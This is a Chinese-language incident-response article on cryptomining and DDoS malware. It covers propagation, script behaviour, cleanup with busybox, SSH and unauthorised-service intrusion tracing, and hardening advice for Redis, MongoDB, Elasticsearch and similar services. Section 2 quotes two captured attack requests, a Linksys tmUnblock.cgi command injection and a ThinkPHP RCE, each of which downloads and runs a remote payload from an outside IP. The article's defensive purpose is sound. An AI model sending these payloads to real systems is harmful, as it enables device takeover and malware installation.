一 挖矿病毒简介
 攻击者利用相关安全隐患向目标机器种植病毒的行为。
二 攻击方式
攻击者通常利用弱口令、未授权、代码执行、命令执行等漏洞进行传播。示例如下:
示例1:
 
POST /tmUnblock.cgi HTTP/1.1
Host: 188.166.41.194:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
ttcp_ip=-h `cd /tmp; rm -rf mpsl; wget http://165.22.136.161/vb/mpsl; chmod 777 mpsl; ./mpsl linksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
示例二:
 
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget http://81.6.42.123/a_thk.sh -O /tmp/a; chmod 0777 /tmp/a; /tmp/a; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Host: 103.27.111.204
 
三 脚本流程
   3.1、杀死其他同类产品以及安全软件。比如安骑士、青藤云等等
  3.2、每隔一定周期检测一次进程是否存
  3.3、添加计划任务
  3.4、检查木马文件是否存在
  3.5、检查发现不存在木马文件就会自行远程下载并执行
   
四 排查思路
    4.0 断网
    4.1 检查计划任务,并将计划任务的域名或者ip写入到 /etc/resolv.conf中,绑定为 127.0.0.1  脚本域名
    4.2 上传busybox
    4.3 使用busbox中的ps、top、netstat、crontab、kill、rm、chattr等指令按照脚本内容依次删除挖矿脚本添加的内容
    4.4 使用busybox检查本机是否被写入恶意so。一般so地址为:/usr/lib/ 若有新增so,则使用busybox  rm 删除
    4.5 进入/proc/目录 计算所有pid 的md5值。 即执行 md5sum /proc/$pid/exe 并将得到的md5值去威胁情报社区(微步或者VT)查询相关信息
    4.6 确认删除计划任务、恶意so、挖矿进程后重启机器。随后再次检查
    
五 入侵溯源
    5.1 ssh入侵。
        grep ‘Accept’ /var/secure*
        strings     /var/wtmp
        strings     /var/lastlog
        strings     /var/utmp
        strings     /var/log/boot.log
        cat.        /root/.ssh/authorized_keys
 
一般而言,若在挖矿脚本中发现以上文件被删除或者置空,则99%可确定为是 通过ssh 爆破进来,则修复建议如下:
    5.1.1 升级openssh
    5.1.2  使用长度大约8的多种字符组合的密码
    5.1.3 安装fail2ban,
5.2 未授权入侵。 
常见存在未授权的应用如下
redis、jenkins、mongodb、zookeeper、es、memcache、hadoop、couchdb、docker、k8s
 
 
服务名 常见未授权原因 修复建议
redis 6379对外开放,且使用弱口令或者未设置密码
1 iptables 设定6379 ip白名单
2 设置redis强口令
jenkins 弱口令、script未授权
1 设置强密码
2 管理后台建议禁止开放公网,建议使用iptables指定来源ip
mongodb 27017 
1 本地访问
bind 127.0.0.1
2 修改默认端口
修改默认的mongoDB端口(默认为: TCP 27017)为其他端口
3 禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false
4 开启日志审计功能
审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情
5 开启auth认证
/etc/mongodb.conf  
auth = true 
6 开启鉴权模式
zookeeper 2181
1 禁止把Zookeeper直接暴露在公网
2 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)
Es 9200
1 默认开启的9200端口和使用的端口不对外公布,或架设内网环境。或者防火墙上设置禁止外网访问9200端口。
 
2 架设nginx反向代理服务器,并设置http basic认证来实现elasticsearch的登录认证。
3 限制IP访问,绑定固定IP
4 为elasticsearch增加登录验证,可以使用官方推荐的shield插件.
Memcache 11211
1.限制访问
2.防火墙
3.使用最小化权限账号运行Memcached服务
4.启用认证功能
5.修改默认端口
6.定期升级
Hadoop 8088
1 网络访问控制
2 启用认证功能
3 更新补丁
 
Couchdb 5984
1 指定CouchDB绑定的IP
2 设置访问密码
Docker  2181
1 网络访问控制
2 低权限运行
K8s 8080、6443
1 身份校验
2 设置密码
cms 代码执行、命令执行、注入等等 升级、打补丁
总之根据对应的服务,一一排查,挖矿病毒、ddos病毒类的都是脚本自动化执行,一般都是以上安全隐患造成的中毒。
    
  

挖矿病毒、ddos入侵流程及溯源的更多相关文章

  1. qW3xT.2,解决挖矿病毒。

    网站在运行期间感觉怪怪的,响应速度慢的不是一丁半点,带宽5M,不该是这样的呀 于是登录Xshell top命令 查看cpu情况如下 PID为3435的进程占用CPU过大,难道被病毒入侵了吗? 查看该进 ...

  2. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  3. 阿里云 qW3xT.4 挖矿病毒问题

    查了一下.是个挖矿病毒,cpu 占用巨高 .杀了又有守护进程启动.网上有些杀死这个病毒的办法,大家可以试试.但是不确定能杀死. 建议直接重装系统. 然后,说说这货怎么传播的. 他通过redis .目前 ...

  4. Linux应急响应(三):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...

  5. 如何更有效的消灭watchdogs挖矿病毒?华为云DCS Redis为您支招

    漏洞概述 近日,互联网出现watchdogs挖矿病毒,攻击者可以利用Redis未授权访问漏洞入侵服务器,通过内外网扫描感染更多机器.被感染的主机出现 crontab 任务异常.系统文件被删除.CPU ...

  6. 挖矿病毒DDG的分析与清除

    注:以下所有操作均在CentOS 7.2 x86_64位系统下完成. 今天突然收到“阿里云”的告警短信: 尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖 ...

  7. 挖矿病毒分析(centos7)

    因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案. 服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异 ...

  8. Linux挖矿病毒 khugepageds详细解决步骤

    一.背景 最近公司一台虚拟机被攻击,其中一种挖矿病毒.会伪CPU数.即如果用top命令只能看到一个cpu.并且负载不高.实际上整个负载300%以上,及时定时任务关掉也不起作用. 二.言归正传开始干掉这 ...

  9. Window应急响应(四):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升 ...

随机推荐

  1. Visual Studio 2019 正式版 更新内容

    大早上更新了Visual Studio 2019, 试用一下 一.界面改变 1.项目创建界面 首先启动界面改变就不说了,创建项目的界面做了较大改变,感觉在向vs for mac 靠拢 ,而后者感觉像x ...

  2. leetcode 678. Valid Parenthesis String

    678. Valid Parenthesis String Medium Given a string containing only three types of characters: '(', ...

  3. 转载:用Jquery实现的图片预加载技术,可以实现有序加载和无序加载!

    一.背景 我们在做页面的时候,从用户体验的角度出发,肯定是希望用户以最快的速度看到完整的页面信息,但在实际情况中经常会遇到些问题. 比如受网速影响,页面加载素材的时间比较长,页面会出现短时间的错乱或者 ...

  4. flutter Provide 状态管理篇

    Provide是Google官方推出的状态管理模式.官方地址为: https://github.com/google/flutter-provide 现在Flutter的状态管理方案很多,redux. ...

  5. Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os&infra=stock32 error was 14: curl#6 - "Could not resolve host: mirrorlist.centos.org; Unknown error"

     今天安装完带图形界面的CentOS 7后,在Terminal中运行yum安装命令时报了以下错误: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ...

  6. mysql和mariadb备份工具xtrabackup和mariabackup(mariadb上版本必须用这个)

    简介 xtraBackup(PXB) 工具是 Percona 公司用 perl 语言开发的一个用于 MySQL 数据库物理热备的备份工具,支持 MySQl(Oracle).Percona Server ...

  7. Transformer

    参考资料: [ERT大火却不懂Transformer?读这一篇就够了] https://zhuanlan.zhihu.com/p/54356280 (中文版) http://jalammar.gith ...

  8. SpringBoot配置activemq消息队列

    1.配置pom相关依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactI ...

  9. IFE第一天

    我也不知道自己到底能坚持多少天,希望66天可以坚持下来,flag在此. 第一天的知识大概就是了解一些基本概念. Web: 基于HTTP协议,利用浏览器访问网站. HTML 大概就是告诉浏览器我有一个什 ...

  10. 最小生成树——Prim算法和Kruskal算法

    洛谷P3366 最小生成树板子题 这篇博客介绍两个算法:Prim算法和Kruskal算法,两个算法各有优劣 一般来说当图比较稀疏的时候,Kruskal算法比较快 而当图很密集,Prim算法就大显身手了 ...